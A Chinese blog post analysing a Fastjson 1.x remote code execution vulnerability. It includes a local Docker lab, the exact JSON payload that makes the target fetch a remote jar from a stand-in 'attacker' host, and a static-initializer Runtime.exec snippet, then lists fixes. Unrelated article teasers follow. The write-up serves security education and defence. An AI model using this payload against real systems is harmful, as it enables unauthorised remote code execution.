【Java组件漏洞分析】Fastjson1.x任意代码执行漏洞

发布时间:2026/9/14 0:29:32

【Java组件漏洞分析】Fastjson1.x任意代码执行漏洞 最近 Fastjson 1.x 的 0day 很火呀博主所在的公司也对其做了应急响应那么本篇文章就详细分析一下 Fastjson 1.x 这个漏洞的原理和利用方式吧 简单介绍关于本漏洞的简单说明阿里云漏洞通告https://www.aliyun.com/notice/118472已经写的很清楚了简单说就是在 Fastjson 1.x 未开启 SafeMode 的情况下默认配置即不开启如果攻击者能够控制传递给 Fastjson 的 JSON 数据就可以利用 Fastjson 自身内部的反序列化逻辑构造恶意载荷。这个漏洞的关键是无需目标环境存在特定 gadget 类像平时哪些反序列化漏洞还需要你费劲滴搞链子而这个就完全不需要。漏洞复现这里使用一下这个博主的项目 git clone 后在本地执行一下 make up 操作即可启动靶机。前提是启动靶机机器需要安装 dockergitclone https://gitee.com/liuwanqing520/fastjson-jsontype-rce-lab.gitcdfastjson-jsontype-rce-labmakeup启动后访问127.0.0.1:8080可看到如下靶机界面。在 json 中输入如下 payload点击 发送{type:jar:http:..attacker:8000.probe!.POC,x:1}在控制台执行dockercomposeexec-Ttargetsh-ccat /tmp/PWNED输出如下说明利用成功原理介绍1. 让 fastjson 处理type靶机入口是JSON.parseObject(body,Dto.class)虽然这里绑定了Dto.class而且没有开启 autoType但 fastjson 看到 JSON 里有type:...还是会进入ParserConfig.checkAutoType()做类型检查。2. 把字符串变成 jar URLpayload 里的类型名jar:http:..attacker:8000.probe!.POCfastjson 内部会做typeName.replace(.,/).class于是它变成jar:http://attacker:8000/probe!/POC.class含义是从 http://attacker:8000/probe 下载一个 jar 然后读取 jar 里面的 POC.class其中..变成//.probe变成/probe!.POC变成!/POC.class!是 Java jar URL 的分隔符表示“jar 文件内部的路径”3. target 主动访问 attacker因为靶机使用了 Spring Boot 的LaunchedURLClassLoader它会解析这种jar:http://...资源。所以 target 容器主动请求 attacker 容器http://attacker:8000/probeattacker 返回一个提前生成好的 jar。4. jar 里的POC.class带有JSONType注解攻击端生成的 class 不是普通 class它有 fastjson 的JSONTypefastjson 在探测这个 class 时发现它带JSONType于是认为这个类型可以继续加载。这就是这条链能在autoType 关闭的情况下继续走下去的关键。5. 加载 class 时执行 static initializerJava 类第一次被加载/定义时会执行静态初始化块也就是类似static{Runtime.getRuntime().exec(id /tmp/PWNED 21; echo RCE_via_fastjson_JSONType /tmp/PWNED);}id/tmp/PWNED21;echoRCE_via_fastjson_JSONType/tmp/PWNED最终导致我们上面看到如上输出。6. 总结用户可控 JSON - fastjson 处理 type - checkAutoType 把类型名转成 jar URL resource - LaunchedURLClassLoader 远程拉取 attacker jar - 发现 JSONType 后加载 class - class 静态初始化块在 target 容器内执行命令 - 命令输出写入 /tmp/PWNED修复修改 checkAutoType 配置升级 fastjson 到 2.x 版本waf 拦截思考自从开始学习网安以来我就对一些漏洞感觉很奇怪你就不能理解这种东西是咋设计出来的就比如 Fastjson1.x 为啥要整个 type 然后接一个 AutoType 导致随意加载外部类。了解了其设计意图之后大概是这样的我们都知道 Java 中有个多态的概念以如下的例子为例interfaceAnimal{}classDogimplementsAnimal{...}classCatimplementsAnimal{...}classPetStore{privateAnimalanimal;// 字段类型是接口}那么这种情况下如果不记录类的类型下面的 json 反序列化为对象时Fastjson 只知道 animal 是 Animal 接口根本不知道它原本是 Dog 还是 Cat只能返回一个接口类型的对象后续强转会直接失败。{animal:{name:旺财}}而 Type 的方案是在反序列化的 json 中声明是是哪个类。这样反序列化时就能精确还原出 Dog 实例。这就是 type 存在的正当业务需求——它是 Fastjson 的动态多态还原方案。{type:com.example.PetStore,animal:{type:com.example.Dog,name:旺财}}而在 checkAutoType 方法存在一个安全缺陷checkAutoType 会把 type 的值比如 com.example.Foo转换成类资源路 com/example/Foo.class然后调用 ClassLoader.getResourceAsStream(resource) 去检查这个类是否存在于 classpath 中——这一步本身是为了做安全检查。这段代码没有对 resource 的协议做任何限制。在某些 ClassLoader 环境如 Spring Boot FatJar 的 LaunchedURLClassLoader中getResourceAsStream 能解析绝对 URL。攻击者把 type 构造为类似 http:…localhost:18081.a经过 .replace(‘.’, ‘/’) 处理后就变成了 http://localhost:18081/a.class——从本地 classpath 查询翻转成了远程 HTTP 资源加载。Fastjson 用 ASM 解析从远程 URL 下载来的字节码只要其中包含 JSONType 注解就认为它是合法的可反序列化类随后调用 TypeUtils.loadClass 加载并初始化它触发 静态代码块执行完成 RCE。根本原因在于只要保留根据字符串动态加载类这个能力攻击面就很难彻底消除。
延伸阅读

更多相关文章

2026/9/10 0:11:32

嵌入式系统电源管理模块(PMM)原理、配置与高可靠性设计实战

1. 电源管理模块(PMM)在嵌入式系统中的核心地位在嵌入式系统开发,尤其是对功耗和可靠性有严苛要求的领域,比如汽车电子、工业控制或者便携式医疗设备,电源管理从来都不是一个“锦上添花”的功能,而是系统设…

2026/9/14 0:28:25

2026年教育AI工具测评:9款提升教学效率的实用推荐

1. 2026年继续教育行业的技术变革背景2026年的继续教育领域正经历着前所未有的数字化转型浪潮。根据行业调研数据显示,超过87%的培训机构已将AI技术纳入教学体系,但同时也面临着AI工具使用率低下的普遍问题——平均AI工具实际使用率不足35%,大…

2026/9/14 0:28:25

PipePool实操指南:RNA-Seq基因表达量自动定量与差异分析全流程

做转录组分析的老手可能都遇到过这种场景:数据从测序公司回来,一堆fastq文件堆在服务器上,接下来要经历质控、比对、定量、差异分析这一整套流程。早年我都是手动一条命令一条命令地敲,比对用STAR,定量用featureCounts…

2026/9/14 0:28:25

基于YOLO算法的番茄叶片病害智能检测系统开发

1. 项目背景与核心价值番茄作为全球广泛种植的经济作物,其叶片健康状况直接影响产量和品质。传统病害识别依赖农技人员肉眼观察,效率低且主观性强。这个毕业设计项目采用YOLO目标检测算法构建番茄叶片病变识别系统,实现了病害的自动化检测。我…

2026/9/14 0:23:24

python代码性能优化

1.可视化逐行代码运行时间工具vprof:安装:sudo pip3 vprof然后直接用它运行代码:vprof -c h test.pyh会让它根据每行代码的运行时间附上热图。需要带输入时:vprof -c cmh "testscript.py --foo --bar"2.强烈推荐&#x…

2026/9/13 0:01:16

拯救者Y7000黑屏故障排查与维修实战指南

1. 项目概述:一台黑屏的拯救者Y7000,到底卡在哪一步? 联想拯救者Y7000系列笔记本,从2018年第一代搭载i5-8300H开始,到后来的i7-9750H、i7-10750H、i5-11400H,再到2023年款的R7-7840HS,它始终是学…

2026/9/14 0:03:22

KCF目标跟踪算法与OTB工程实现:毕业设计实战解析

简介:这是一份基于KCF核相关滤波算法、融合尺度池与抗遮挡处理的目标检测跟踪MATLAB完整源码,主要面向计算机相关专业准备毕业设计、课程设计或期末大作业的学生,也适合需要项目实战练习的初学者。源码在OTB数据集上完成验证,能够…

2026/9/14 0:03:22

语音情感识别实战:Keras实现LSTM、CNN、SVM与MLP多模型对比

简介:面向语音情感识别入门与进阶开发者,这份基于Keras的项目源码完整实现了LSTM、CNN、SVM、MLP四种模型,兼容Python3.8与Keras/TensorFlow2环境。压缩包内含49个文件,大小约70.31MB,主体包括Python脚本、yaml/json配…

2026/9/12 6:29:36

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/12 14:32:17

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/13 11:18:28

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码